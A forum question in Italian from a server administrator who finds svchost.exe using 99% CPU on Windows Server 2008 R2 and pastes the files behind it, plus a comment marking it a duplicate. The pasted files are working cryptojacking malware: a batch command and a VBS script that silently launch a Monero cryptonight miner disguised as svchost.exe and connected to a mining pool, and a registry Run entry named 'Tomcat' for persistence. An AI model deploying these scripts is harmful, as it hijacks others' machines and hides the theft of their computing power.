Host SVC che consuma il 99% di CPU

Il nostro server consuma costantemente troppa CPU, con svchost.exesembra essere il colpevole.

Vedi la schermata seguente:

Contenuto del file di 1.bat:

svchost -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2DqMQ---SomeLongCodeHere---ZFnqXUrf -p x

Contenuto del file di pubwin.reg:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Tomcat"="C:\\Windows\\system\\pubwin.vbs"

Contenuto del file di pubwin.vbs:

dim objShell
set objShell=wscript.createObject("WScript.Shell")
WScript.Sleep(20000)
iReturnCode=objShell.Run("""C:\Windows\system\svchost.exe""  -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2Dq----SomeLongCodeHere---zdLZGeEQqZTZeBLuSNnqXUrf -p x",vbhide)

Dovremmo essere preoccupati, o è davvero **Tomcat**.

windows-server-2008-r2 svchost

— user3141985
fonte

Possibile duplicato di Come posso rimuovere spyware, malware, adware, virus, trojan o rootkit dannosi dal mio PC?

— DavidPostill

Risposte: